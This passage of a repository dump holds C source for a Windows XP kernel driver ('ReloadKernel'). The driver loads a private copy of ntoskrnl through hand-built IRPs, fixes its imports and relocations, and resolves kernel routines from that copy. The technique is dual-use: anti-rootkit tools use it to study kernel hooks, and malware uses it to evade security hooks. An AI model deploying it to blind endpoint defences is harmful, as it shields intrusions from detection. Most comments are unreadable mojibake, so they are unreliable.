FALSE;\r\n }\r\n if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C)\r\n {\r\n return FALSE;\r\n }\r\n wcscpy(WindowsRootName,&SystemRootName[2]);\r\n\r\n return TRUE;\r\n\r\n\r\n}\r\n\r\n\r\n/*\r\nԼļ󣬹FileObject->IrpList ļ\r\n*/\r\n//\\SystemRoot\\system32\\ntkrnlpa.exe\r\nNTSTATUS KernelOpenFile(wchar_t *FileFullName, \r\n PHANDLE FileHandle, \r\n ACCESS_MASK DesiredAccess, \r\n ULONG FileAttributes, \r\n ULONG ShareAccess, \r\n ULONG CreateDisposition, \r\n ULONG CreateOptions)\r\n{\r\n WCHAR SystemRootName[32]=L\"\\\\SystemRoot\";\r\n WCHAR *FileNodeName=NULL;\r\n UNICODE_STRING FilePath;\r\n PDEVICE_OBJECT RealDevice,DeviceObject;\r\n NTSTATUS status=STATUS_UNSUCCESSFUL;\r\n PFILE_OBJECT FileObject;\r\n\r\n FileNodeName=ExAllocatePool(NonPagedPool,260*2);\r\n if (FileNodeName==NULL)\r\n {\r\n return status;\r\n }\r\n RtlZeroMemory(FileNodeName,260*2);\r\n\r\n if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //ȷʲô ӦDz· ޸\r\n {\r\n //in \r\n int Len;\r\n if(!GetWindowsRootName(FileNodeName)) // \\Windows\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n Len=wcslen(SystemRootName);\r\n wcscat(FileNodeName,&FileFullName[Len]);\r\n //FileNodeName == \\Windows\\system32\\ntkrnlpa.exe\r\n //FileFullName == \\SystemRoot\\system32\\ntkrnlpa.exe\r\n }\r\n else\r\n {\r\n if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C)\r\n {\r\n return status;\r\n\r\n }\r\n wcscpy(FileNodeName,&FileFullName[2]);\r\n }\r\n\r\n if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //FileObjectеDeviceObjectRealDevice\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n //FileNodeName == \\Windows\\system32\\ntkrnlpa.exe\r\n RtlInitUnicodeString(&FilePath,FileNodeName);\r\n\r\n status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject);\r\n //ļ FileObject->IrpList \r\n if (!NT_SUCCESS(status))\r\n {\r\n ExFreePool(FileNodeName);\r\n return status;\r\n }\r\n\r\n //ļ󣬻ļ\r\n status=ObOpenObjectByPointer(\r\n FileObject,\r\n OBJ_KERNEL_HANDLE, //verifier²ҪָOBJ_KERNEL_HANDLE\r\n 0,\r\n DesiredAccess|0x100000,\r\n *IoFileObjectType,\r\n 0,\r\n FileHandle);\r\n\r\n ObfDereferenceObject(FileObject);\r\n\r\n\r\n return status;\r\n\r\n}\r\n\r\n\r\n\r\n\r\n//ѯirpϢfilesize\r\nNTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize)\r\n{\r\n NTSTATUS status;\r\n PFILE_OBJECT FileObject;\r\n PDEVICE_OBJECT DeviceObject,RealDevice;\r\n FILE_STANDARD_INFORMATION FileInformation;\r\n\r\n status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);\r\n if (!NT_SUCCESS(status))\r\n {\r\n return status;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n //ѯirpջϢFileObject\r\n status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation);\r\n if (!NT_SUCCESS(status))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n }\r\n FileSize->HighPart=FileInformation.EndOfFile.HighPart;\r\n FileSize->LowPart=FileInformation.EndOfFile.LowPart;\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\nļļСȡļڴ\r\n*/\r\nNTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock)\r\n{\r\n NTSTATUS status;\r\n PFILE_OBJECT FileObject;\r\n PDEVICE_OBJECT DeviceObject,RealDevice;\r\n FILE_STANDARD_INFORMATION FileInformation;\r\n status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0);\r\n if (!NT_SUCCESS(status))\r\n {\r\n return status;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice))\r\n {\r\n ObDereferenceObject(FileObject);\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //Irp󣬽ļ뻺\r\n ObDereferenceObject(FileObject);\r\n return status;\r\n\r\n}\r\n\r\n\r\n\r\n/*\r\n޸FileBufferеƫ VirtualAglin \r\nfilebuffer Ϊȡڴ ImageModuleBaseΪϵͳеģַ\r\n*/\r\nBOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase)\r\n{\r\n PIMAGE_DOS_HEADER ImageDosHeader;\r\n PIMAGE_NT_HEADERS ImageNtHeaders;\r\n PIMAGE_SECTION_HEADER ImageSectionHeader;\r\n DWORD FileAlignment,SectionAlignment,NumberOfSections,SizeOfImage,SizeOfHeaders;\r\n DWORD Index;\r\n BYTE *ImageBase;\r\n DWORD SizeOfNtHeaders;\r\n ImageDosHeader=(PIMAGE_DOS_HEADER)FileBuffer;\r\n if (ImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n ImageNtHeaders=(PIMAGE_NT_HEADERS)(FileBuffer+ImageDosHeader->e_lfanew);\r\n if (ImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n return FALSE;\r\n }\r\n FileAlignment=ImageNtHeaders->OptionalHeader.FileAlignment;//0x200\r\n SectionAlignment=ImageNtHeaders->OptionalHeader.SectionAlignment;//0x1000\r\n NumberOfSections=ImageNtHeaders->FileHeader.NumberOfSections;//0x16\r\n SizeOfImage=ImageNtHeaders->OptionalHeader.SizeOfImage;//0x412000\r\n SizeOfHeaders=ImageNtHeaders->OptionalHeader.SizeOfHeaders;//0x800\r\n\r\n SizeOfImage=AlignSize(SizeOfImage,SectionAlignment);//0x412000\r\n\r\n ImageBase=ExAllocatePool(NonPagedPool,SizeOfImage);\r\n if (ImageBase==NULL)\r\n {\r\n return FALSE;\r\n }\r\n RtlZeroMemory(ImageBase,SizeOfImage);\r\n //0xf8\r\n SizeOfNtHeaders=sizeof(ImageNtHeaders->FileHeader) + sizeof(ImageNtHeaders->Signature)+ImageNtHeaders->FileHeader.SizeOfOptionalHeader;\r\n ImageSectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)ImageNtHeaders+SizeOfNtHeaders);\r\n for (Index=0;IndexSizeOfImage)\r\n {//no in\r\n ImageSectionHeader[NumberOfSections-1].SizeOfRawData = SizeOfImage-ImageSectionHeader[NumberOfSections-1].VirtualAddress;\r\n }\r\n RtlCopyMemory(ImageBase,FileBuffer,SizeOfHeaders);\r\n\r\n for (Index=0;IndexDriverSection ںģ \r\n*/\r\nPVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName)\r\n{\r\n PLDR_DATA_TABLE_ENTRY DriverSection,LdrEntry;\r\n ANSI_STRING AnsiKernelModuleName;\r\n UNICODE_STRING UniKernelModuleName;\r\n UNICODE_STRING ModuleName;\r\n WCHAR *Buffer;\r\n int Lentgh,Index;\r\n RtlInitAnsiString(&AnsiKernelModuleName,KernelModuleName);\r\n RtlAnsiStringToUnicodeString(&UniKernelModuleName,&AnsiKernelModuleName,TRUE);\r\n Buffer=ExAllocatePool(NonPagedPool,260*2);\r\n if (Buffer==NULL)\r\n {\r\n return NULL;\r\n }\r\n RtlZeroMemory(Buffer,206*2);\r\n DriverSection=DriverObject->DriverSection;\r\n LdrEntry=(PLDR_DATA_TABLE_ENTRY)DriverSection->InLoadOrderLinks.Flink;\r\n while (LdrEntry&&DriverSection!=LdrEntry)\r\n {\r\n //(DWORD)LdrEntry->DllBase>=*(DWORD*)MmSystemRangeStart&&\r\n if (LdrEntry->FullDllName.Length>0&&\r\n LdrEntry->FullDllName.Buffer!=NULL)\r\n {\r\n\r\n if (MmIsAddressValid(&LdrEntry->FullDllName.Buffer[LdrEntry->FullDllName.Length/2-1]))\r\n {\r\n Lentgh=LdrEntry->FullDllName.Length/2;\r\n for (Index=Lentgh-1;Index>0;Index--)\r\n {\r\n if (LdrEntry->FullDllName.Buffer[Index]==0x005C)\r\n {\r\n break;\r\n }\r\n }\r\n if (LdrEntry->FullDllName.Buffer[Index]==0x005C)\r\n {\r\n RtlCopyMemory(Buffer,&(LdrEntry->FullDllName.Buffer[Index+1]),(Lentgh-Index-1)*2);\r\n ModuleName.Buffer=Buffer;\r\n ModuleName.Length=(Lentgh-Index-1)*2;\r\n ModuleName.MaximumLength=260*2;\r\n }\r\n else\r\n {\r\n RtlCopyMemory(Buffer,LdrEntry->FullDllName.Buffer,Lentgh*2);\r\n ModuleName.Buffer=Buffer;\r\n ModuleName.Length=Lentgh*2;\r\n ModuleName.MaximumLength=260*2;\r\n\r\n }\r\n\r\n if (RtlEqualUnicodeString(&ModuleName,&UniKernelModuleName,TRUE))\r\n {\r\n ExFreePool(Buffer);\r\n return LdrEntry->DllBase;\r\n }\r\n\r\n }\r\n\r\n } \r\n LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink;\r\n }\r\n ExFreePool(Buffer);\r\n return NULL;\r\n}\r\n\r\n\r\n/*\r\nͨúַ\r\n*/\r\nPVOID\r\n MiFindExportedRoutine (\r\n IN PVOID DllBase,\r\n BOOLEAN ByName,\r\n IN char *RoutineName,\r\n DWORD Ordinal\r\n )\r\n{\r\n USHORT OrdinalNumber;\r\n PULONG NameTableBase;\r\n PUSHORT NameOrdinalTableBase;\r\n PULONG AddressTableBase;\r\n PULONG Addr;\r\n LONG High;\r\n LONG Low;\r\n LONG Middle;\r\n LONG Result;\r\n ULONG ExportSize;\r\n PVOID FunctionAddress;\r\n PIMAGE_EXPORT_DIRECTORY ExportDirectory;\r\n\r\n PAGED_CODE();\r\n\r\n //õ\r\n ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RtlImageDirectoryEntryToData (\r\n DllBase,\r\n TRUE,\r\n IMAGE_DIRECTORY_ENTRY_EXPORT,\r\n &ExportSize);\r\n\r\n if (ExportDirectory == NULL) {\r\n return NULL;\r\n }\r\n\r\n NameTableBase = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);\r\n NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);\r\n AddressTableBase=(PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);\r\n\r\n if (!ByName)\r\n {\r\n return (PVOID)AddressTableBase[Ordinal];\r\n }\r\n\r\n\r\n Low = 0;\r\n Middle = 0;\r\n High = ExportDirectory->NumberOfNames - 1;\r\n\r\n while (High >= Low) {\r\n Middle = (Low + High) >> 1;\r\n\r\n Result = strcmp (RoutineName,\r\n (PCHAR)DllBase + NameTableBase[Middle]);\r\n\r\n if (Result < 0) {\r\n High = Middle - 1;\r\n }\r\n else if (Result > 0) {\r\n Low = Middle + 1;\r\n }\r\n else {\r\n break;\r\n }\r\n }\r\n\r\n if (High < Low) {\r\n return NULL;\r\n }\r\n\r\n OrdinalNumber = NameOrdinalTableBase[Middle];\r\n if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions) {\r\n return NULL;\r\n }\r\n\r\n Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);\r\n\r\n FunctionAddress = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);\r\n\r\n //\r\n // Forwarders are not used by the kernel and HAL to each other.\r\n //\r\n\r\n ASSERT ((FunctionAddress <= (PVOID)ExportDirectory) ||\r\n (FunctionAddress >= (PVOID)((PCHAR)ExportDirectory + ExportSize)));\r\n\r\n return FunctionAddress;\r\n}\r\n\r\n\r\n\r\n\r\nBOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk)\r\n{\r\n DWORD Offset;\r\n PIMAGE_THUNK_DATA OriginalFirstThunk;\r\n Offset=(DWORD)FirstThunk-ImageBase;\r\n OriginalFirstThunk=(PIMAGE_THUNK_DATA)(ExistImageBase+Offset);\r\n while (OriginalFirstThunk->u1.Function)\r\n {\r\n FirstThunk->u1.Function=OriginalFirstThunk->u1.Function;\r\n OriginalFirstThunk++;\r\n FirstThunk++;\r\n }\r\n return TRUE;\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n//޸\r\nBOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject)\r\n{\r\n PIMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor=NULL;\r\n PIMAGE_THUNK_DATA ImageThunkData,FirstThunk;\r\n PIMAGE_IMPORT_BY_NAME ImortByName;\r\n DWORD ImportSize;\r\n PVOID ModuleBase;\r\n char ModuleName[260];\r\n DWORD FunctionAddress;\r\n //õַ\r\n ImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize);\r\n if (ImageImportDescriptor==NULL)\r\n {\r\n return FALSE;\r\n }\r\n while (ImageImportDescriptor->OriginalFirstThunk&&ImageImportDescriptor->Name)\r\n {\r\n strcpy(ModuleName,(char*)(ImageBase+ImageImportDescriptor->Name)); //Ϣ\r\n\r\n //ntoskrnl.exe(NTKRNLPA.exentkrnlmp.exentkrpamp.exe)\r\n if (_stricmp(ModuleName,\"ntkrnlpa.exe\")==0||\r\n _stricmp(ModuleName,\"ntoskrnl.exe\")==0||\r\n _stricmp(ModuleName,\"ntkrnlmp.exe\")==0||\r\n _stricmp(ModuleName,\"ntkrpamp.exe\")==0)\r\n {//no in\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrnlpa.exe\"); //ͨDriverObject->DriverSection ںģ\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntoskrnl.exe\");\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrnlmp.exe\");\r\n if (ModuleBase==NULL)\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,\"ntkrpamp.exe\");\r\n\r\n }\r\n\r\n }\r\n }\r\n\r\n }\r\n else\r\n {\r\n ModuleBase=GetKernelModuleBase(DriverObject,ModuleName);\r\n\r\n }\r\n if (ModuleBase==NULL)\r\n {\r\n FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);\r\n InsertOriginalFirstThunk((DWORD)ImageBase,ExistImageBase,FirstThunk);\r\n ImageImportDescriptor++;\r\n continue;\r\n }\r\n //PSHED.dll\r\n ImageThunkData=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->OriginalFirstThunk);\r\n FirstThunk=(PIMAGE_THUNK_DATA)(ImageBase+ImageImportDescriptor->FirstThunk);\r\n while(ImageThunkData->u1.Ordinal)\r\n {\r\n //ŵ\r\n if(IMAGE_SNAP_BY_ORDINAL32(ImageThunkData->u1.Ordinal))\r\n {\r\n //ͨϵͳں˵ĵ - ַ\r\n FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,FALSE,NULL,ImageThunkData->u1.Ordinal & ~IMAGE_ORDINAL_FLAG32);\r\n if (FunctionAddress==0)\r\n {\r\n return FALSE;\r\n }\r\n FirstThunk->u1.Function=FunctionAddress;\r\n }\r\n //\r\n else\r\n {\r\n //\r\n ImortByName=(PIMAGE_IMPORT_BY_NAME)(ImageBase+ImageThunkData->u1.AddressOfData);\r\n FunctionAddress=(DWORD)MiFindExportedRoutine(ModuleBase,TRUE,ImortByName->Name,0);\r\n if (FunctionAddress==0)\r\n {\r\n return FALSE;\r\n }\r\n FirstThunk->u1.Function=FunctionAddress;\r\n }\r\n FirstThunk++;\r\n ImageThunkData++;\r\n }\r\n ImageImportDescriptor++;\r\n }\r\n return TRUE;\r\n}\r\n\r\n\r\n/*\r\nsystem32//NtosKrnl.exe .. \r\n*/\r\nBOOLEAN PeLoad(\r\n WCHAR *FileFullPath,\r\n BYTE **ImageModeleBase,\r\n PDRIVER_OBJECT DeviceObject,\r\n DWORD ExistImageBase\r\n )\r\n{\r\n NTSTATUS Status;\r\n HANDLE hFile;\r\n LARGE_INTEGER FileSize;\r\n DWORD Length;\r\n BYTE *FileBuffer;\r\n BYTE *ImageBase;\r\n IO_STATUS_BLOCK IoStatus;\r\n //\\SystemRoot\\system32\\ntkrnlpa.exe\r\n Status=KernelOpenFile(FileFullPath,&hFile,0x100020,0x80,1,1,0x20); //Լļ󣬹FileObject->IrpList ļ\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return FALSE;\r\n }\r\n\r\n Status=KernelGetFileSize(hFile,&FileSize); //ȡirpϢfilesize\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n Length=FileSize.LowPart;\r\n FileBuffer=ExAllocatePool(PagedPool,Length);\r\n if (FileBuffer==NULL)\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n\r\n Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //ļļС ͨirp󣬶ȡļڴ\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hFile);\r\n ExFreePool(FileBuffer);\r\n return FALSE;\r\n }\r\n ZwClose(hFile);\r\n\r\n\r\n if(!ImageFile(FileBuffer,&ImageBase)) //޸FileBufferеƫ VirtualAglin õȫImageModuleBase\r\n {\r\n ExFreePool(FileBuffer);\r\n return FALSE;\r\n }\r\n ExFreePool(FileBuffer);\r\n\r\n //2k3MiFindExportedRoutineʧ\r\n if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //޸\r\n {\r\n ExFreePool(ImageBase);\r\n return FALSE;\r\n }\r\n if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //޸ضλ\r\n {\r\n ExFreePool(ImageBase);\r\n return FALSE;\r\n }\r\n\r\n *ImageModeleBase=ImageBase; //õĻַ ԭڴиʽһ һntos\r\n\r\n return TRUE;\r\n}\r\n\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/KernelReload.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\n\r\nBOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize);\r\n\r\nBOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice);\r\n\r\n\r\nBOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject);\r\n\r\n\r\nBOOLEAN GetWindowsRootName(WCHAR *WindowsRootName);\r\n\r\nNTSTATUS KernelOpenFile(wchar_t *FileFullName, \r\n PHANDLE FileHandle, \r\n ACCESS_MASK DesiredAccess, \r\n ULONG FileAttributes, \r\n ULONG ShareAccess, \r\n ULONG CreateDisposition, \r\n ULONG CreateOptions);\r\n\r\n\r\n\r\n\r\nNTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize);\r\n\r\n\r\n\r\nNTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock);\r\n\r\n\r\nBOOLEAN ImageFile(BYTE *FileBuffer,BYTE **ImageModuleBase);\r\nULONG AlignSize(ULONG nSize, ULONG nAlign);\r\n\r\n\r\nPVOID GetKernelModuleBase(PDRIVER_OBJECT DriverObject,char *KernelModuleName);\r\n\r\nBOOLEAN InsertOriginalFirstThunk(DWORD ImageBase,DWORD ExistImageBase,PIMAGE_THUNK_DATA FirstThunk);\r\n\r\n\r\nPVOID\r\n MiFindExportedRoutine (\r\n IN PVOID DllBase,\r\n BOOLEAN ByName,\r\n IN char *RoutineName,\r\n DWORD Ordinal\r\n );\r\n\r\n\r\n\r\nBOOLEAN FixImportTable(BYTE *ImageBase,DWORD ExistImageBase,PDRIVER_OBJECT DriverObject);\r\n\r\n\r\nBOOLEAN PeLoad(\r\n WCHAR *FileFullPath,\r\n BYTE **ImageModeleBase,\r\n PDRIVER_OBJECT DeviceObject,\r\n DWORD ExistImageBase\r\n );\r\n\r\n\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/ReadMe.txt", "content": "Reload Kernel in Windows XP \n" }, { "path": "ReloadKernel-XP/ReloadKernel/Reload.c", "content": "#include \"Reload.h\"\r\n#include \"KernelReload.h\"\r\n\r\nWCHAR* SystemKernelFilePath = NULL;\r\nULONG_PTR SystemKernelModuleBase = 0;\r\nULONG_PTR SystemKernelModuleSize = 0;\r\nULONG_PTR ImageModuleBase;\r\n\r\nDWORD OriginalKiServiceTable;\r\nextern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;\r\nPSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;\r\nPSERVICE_DESCRIPTOR_TABLE Safe_ServiceDescriptorTable;\r\n\r\n\r\n\r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{\r\n DWORD RetAddr = 0;\r\n PEPROCESS Eprocess1 = NULL;\r\n PEPROCESS Eprocess2 = NULL;\r\n DriverObject->DriverUnload = UnloadDriver;\r\n\r\n ReLoadNtos(DriverObject,RetAddr);\r\n\r\n Eprocess1 = RPsGetCurrentProcess();\r\n Eprocess2 = PsGetCurrentProcess();\r\n return STATUS_SUCCESS;\r\n}\r\n/*\r\nFuncName ԭNtosַ Լ Ntosַ\r\n//һζͨ ϵͳԭƫ + NewBase úַ \r\n//ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\nҵ\r\n*/\r\nPUCHAR ReLoadNtosCALL(WCHAR *lpwzFuncTion,ULONG ulOldNtosBase,ULONG ulReloadNtosBase)\r\n{\r\n UNICODE_STRING UnicodeFunctionName;\r\n ULONG ulOldFunctionAddress;\r\n PUCHAR ulReloadFunctionAddress;\r\n int index=0;\r\n PIMAGE_DOS_HEADER pDosHeader;\r\n PIMAGE_NT_HEADERS NtDllHeader;\r\n\r\n IMAGE_OPTIONAL_HEADER opthdr;\r\n DWORD* arrayOfFunctionAddresses;\r\n DWORD* arrayOfFunctionNames;\r\n WORD* arrayOfFunctionOrdinals;\r\n DWORD functionOrdinal;\r\n DWORD Base, x, functionAddress,position;\r\n char* functionName;\r\n IMAGE_EXPORT_DIRECTORY *pExportTable;\r\n ULONG ulNtDllModuleBase;\r\n\r\n UNICODE_STRING UnicodeFunction;\r\n UNICODE_STRING UnicodeExportTableFunction;\r\n ANSI_STRING ExportTableFunction;\r\n //һζͨ ϵͳԭƫ + NewBase úַ \r\n //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\n __try\r\n {\r\n if (RRtlInitUnicodeString &&\r\n RRtlCompareUnicodeString &&\r\n RMmGetSystemRoutineAddress &&\r\n RMmIsAddressValid)\r\n {\r\n RRtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);\r\n ulOldFunctionAddress = (DWORD)RMmGetSystemRoutineAddress(&UnicodeFunctionName);\r\n ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase); //صFuncAddr\r\n if (RMmIsAddressValid(ulReloadFunctionAddress)) //Чʹ ȡ ӦòЧ\r\n {\r\n return ulReloadFunctionAddress;\r\n }\r\n //ӵȡ\r\n ulNtDllModuleBase = ulReloadNtosBase;\r\n pDosHeader = (PIMAGE_DOS_HEADER)ulReloadNtosBase;\r\n if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return NULL;\r\n }\r\n NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);\r\n if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)\r\n {\r\n KdPrint((\"failed to find NtHeader\\r\\n\"));\r\n return NULL;\r\n }\r\n opthdr = NtDllHeader->OptionalHeader;\r\n pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulNtDllModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ\r\n arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulNtDllModuleBase + pExportTable->AddressOfFunctions); //ַ\r\n arrayOfFunctionNames = (DWORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNames); //\r\n arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulNtDllModuleBase + pExportTable->AddressOfNameOrdinals);\r\n\r\n Base = pExportTable->Base;\r\n\r\n for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ\r\n {\r\n functionName = (char*)( (BYTE*)ulNtDllModuleBase + arrayOfFunctionNames[x]);\r\n functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; \r\n functionAddress = (DWORD)((BYTE*)ulNtDllModuleBase + arrayOfFunctionAddresses[functionOrdinal]);\r\n RtlInitAnsiString(&ExportTableFunction,functionName);\r\n RtlAnsiStringToUnicodeString(&UnicodeExportTableFunction,&ExportTableFunction,TRUE);\r\n\r\n RRtlInitUnicodeString(&UnicodeFunction,lpwzFuncTion);\r\n if (RRtlCompareUnicodeString(&UnicodeExportTableFunction,&UnicodeFunction,TRUE) == 0)\r\n {\r\n RtlFreeUnicodeString(&UnicodeExportTableFunction);\r\n return (PUCHAR)functionAddress;\r\n }\r\n RtlFreeUnicodeString(&UnicodeExportTableFunction);\r\n }\r\n return NULL;\r\n }\r\n RtlInitUnicodeString(&UnicodeFunctionName,lpwzFuncTion);\r\n ulOldFunctionAddress = (DWORD)MmGetSystemRoutineAddress(&UnicodeFunctionName);\r\n ulReloadFunctionAddress = (PUCHAR)(ulOldFunctionAddress - ulOldNtosBase + ulReloadNtosBase);\r\n\r\n //KdPrint((\"%ws:%08x:%08x\",lpwzFuncTion,ulOldFunctionAddress,ulReloadFunctionAddress));\r\n\r\n if (MmIsAddressValid(ulReloadFunctionAddress))\r\n {\r\n return ulReloadFunctionAddress;\r\n }\r\n // \r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n KdPrint((\"EXCEPTION_EXECUTE_HANDLER\"));\r\n }\r\n return NULL;\r\n}\r\n\r\n\r\n/*Ntos*/\r\nNTSTATUS ReLoadNtos(PDRIVER_OBJECT DriverObject,DWORD RetAddress)\r\n{\r\n NTSTATUS status = STATUS_UNSUCCESSFUL;\r\n ULONG ulKeAddSystemServiceTable;\r\n PULONG p;\r\n\r\n\r\n if (!GetSystemKernelModuleInfo(\r\n &SystemKernelFilePath,\r\n &SystemKernelModuleBase,\r\n &SystemKernelModuleSize\r\n ))\r\n {\r\n KdPrint((\"Get System Kernel Module failed\"));\r\n return status;\r\n }\r\n\r\n\r\n if (InitSafeOperationModule(\r\n DriverObject,\r\n SystemKernelFilePath,\r\n SystemKernelModuleBase\r\n ))\r\n {\r\n KdPrint((\"Init Ntos module success\\r\\n\"));\r\n RRtlInitUnicodeString = NULL;\r\n RMmGetSystemRoutineAddress = NULL;\r\n RMmIsAddressValid = NULL;\r\n RRtlCompareUnicodeString = NULL;\r\n RPsGetCurrentProcess = NULL;\r\n \r\n status = STATUS_UNSUCCESSFUL;\r\n \r\n //һζͨ ϵͳԭƫ + NewBase úַ \r\n //ȻͨԼRMmGetSystemRoutineAddress ƫ+NewBase úַ\r\n RRtlInitUnicodeString = (ReloadRtlInitUnicodeString)ReLoadNtosCALL(L\"RtlInitUnicodeString\",SystemKernelModuleBase,ImageModuleBase);\r\n RRtlCompareUnicodeString = (ReloadRtlCompareUnicodeString)ReLoadNtosCALL(L\"RtlCompareUnicodeString\",SystemKernelModuleBase,ImageModuleBase);\r\n RMmGetSystemRoutineAddress = (ReloadMmGetSystemRoutineAddress)ReLoadNtosCALL(L\"MmGetSystemRoutineAddress\",SystemKernelModuleBase,ImageModuleBase);\r\n RMmIsAddressValid = (ReloadMmIsAddressValid)ReLoadNtosCALL(L\"MmIsAddressValid\",SystemKernelModuleBase,ImageModuleBase);\r\n RPsGetCurrentProcess = (ReloadPsGetCurrentProcess)ReLoadNtosCALL(L\"PsGetCurrentProcess\",SystemKernelModuleBase,ImageModuleBase);\r\n if (!RRtlInitUnicodeString ||\r\n !RRtlCompareUnicodeString ||\r\n !RMmGetSystemRoutineAddress ||\r\n !RMmIsAddressValid ||\r\n !RPsGetCurrentProcess)\r\n {\r\n KdPrint((\"Init NtosCALL failed\"));\r\n return status;\r\n }\r\n }\r\n return status;\r\n}\r\n\r\nBOOLEAN InitSafeOperationModule(PDRIVER_OBJECT pDriverObject,WCHAR *SystemModulePath,ULONG 